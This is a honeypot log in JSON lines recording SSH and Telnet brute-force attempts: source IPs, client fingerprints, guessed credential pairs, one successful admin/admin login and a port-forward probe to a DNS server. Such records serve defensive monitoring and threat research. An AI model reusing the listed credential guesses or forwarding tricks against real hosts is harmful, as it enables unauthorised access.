{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:12.406565Z","src_ip":"39.117.79.36","session":"bac365365868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34534,"dst_ip":"10.17.0.5","dst_port":22,"session":"c83fd1bfe01d","protocol":"ssh","message":"New connection: 37.233.85.71:34534 (10.17.0.5:22) [session: c83fd1bfe01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:13.292307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:13.297974Z","src_ip":"37.233.85.71","session":"c83fd1bfe01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:13.407768Z","src_ip":"37.233.85.71","session":"c83fd1bfe01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:13.612358Z","src_ip":"39.117.79.36","session":"bac365365868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gladiator","message":"login attempt [root/gladiator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:13.739478Z","src_ip":"37.233.85.71","session":"c83fd1bfe01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:14.854970Z","src_ip":"37.233.85.71","session":"c83fd1bfe01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59772,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac035aaeff54","protocol":"ssh","message":"New connection: 103.27.238.120:59772 (10.17.0.5:22) [session: ac035aaeff54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:21.854049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:21.859234Z","src_ip":"103.27.238.120","session":"ac035aaeff54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:22.140339Z","src_ip":"103.27.238.120","session":"ac035aaeff54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parkour","message":"login attempt [root/parkour] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:22.985937Z","src_ip":"103.27.238.120","session":"ac035aaeff54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:24.269499Z","src_ip":"103.27.238.120","session":"ac035aaeff54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48308,"dst_ip":"159.203.135.109","dst_port":22,"session":"4262dcadf88f","protocol":"ssh","message":"New connection: 109.237.96.109:48308 (159.203.135.109:22) [session: 4262dcadf88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:50.009702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:50.015177Z","src_ip":"109.237.96.109","session":"4262dcadf88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:50.108756Z","src_ip":"109.237.96.109","session":"4262dcadf88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkflbckfd","message":"login attempt [root/dkflbckfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:50.394495Z","src_ip":"109.237.96.109","session":"4262dcadf88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:51.495905Z","src_ip":"109.237.96.109","session":"4262dcadf88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c654781cc951","protocol":"telnet","message":"New connection: 152.42.224.71:38458 (10.17.0.5:23) [session: c654781cc951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:03:57.878104Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59048,"dst_ip":"10.17.0.5","dst_port":22,"session":"2684dc5c1efe","protocol":"ssh","message":"New connection: 87.251.64.176:59048 (10.17.0.5:22) [session: 2684dc5c1efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.145035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.150500Z","src_ip":"87.251.64.176","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.247795Z","src_ip":"87.251.64.176","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.537537Z","src_ip":"87.251.64.176","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.639087Z","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.736918Z","src_ip":"87.251.64.176","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:19.839982Z","src_ip":"87.251.64.176","session":"2684dc5c1efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":54686,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c77a1c5812","protocol":"ssh","message":"New connection: 39.117.79.36:54686 (10.17.0.5:22) [session: 98c77a1c5812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:38.982621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:38.985996Z","src_ip":"39.117.79.36","session":"98c77a1c5812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:39.186246Z","src_ip":"39.117.79.36","session":"98c77a1c5812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2022","message":"login attempt [root/root@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:40.014397Z","src_ip":"39.117.79.36","session":"98c77a1c5812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:41.218496Z","src_ip":"39.117.79.36","session":"98c77a1c5812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.00882411003113,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:41.886792Z","src_ip":"152.42.224.71","session":"c654781cc951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37484,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaaf0768d0a6","protocol":"ssh","message":"New connection: 103.176.20.57:37484 (10.17.0.5:22) [session: eaaf0768d0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:42.669557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:42.674219Z","src_ip":"103.176.20.57","session":"eaaf0768d0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:42.919332Z","src_ip":"103.176.20.57","session":"eaaf0768d0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa1111","message":"login attempt [root/aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:43.656236Z","src_ip":"103.176.20.57","session":"eaaf0768d0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:04:44.907024Z","src_ip":"103.176.20.57","session":"eaaf0768d0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51436,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a5c57adf4b","protocol":"telnet","message":"New connection: 152.42.224.71:51436 (10.17.0.5:23) [session: 32a5c57adf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:05:00.315441Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42242,"dst_ip":"10.17.0.5","dst_port":23,"session":"9844e0784a4e","protocol":"telnet","message":"New connection: 152.42.224.71:42242 (10.17.0.5:23) [session: 9844e0784a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:05:14.715973Z"}
{"eventid":"cowrie.session.closed","duration":35.46121668815613,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:05:35.776517Z","src_ip":"152.42.224.71","session":"32a5c57adf4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54298,"dst_ip":"10.17.0.5","dst_port":23,"session":"3647730b478f","protocol":"telnet","message":"New connection: 152.42.224.71:54298 (10.17.0.5:23) [session: 3647730b478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:05:50.267411Z"}
{"eventid":"cowrie.session.closed","duration":45.716819524765015,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:00.432667Z","src_ip":"152.42.224.71","session":"9844e0784a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":60690,"dst_ip":"10.17.0.5","dst_port":22,"session":"34777a535697","protocol":"ssh","message":"New connection: 148.153.245.161:60690 (10.17.0.5:22) [session: 34777a535697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:03.912419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:03.917827Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:06:03.961015Z","src_ip":"148.153.245.161","session":"34777a535697","protocol":"ssh"}
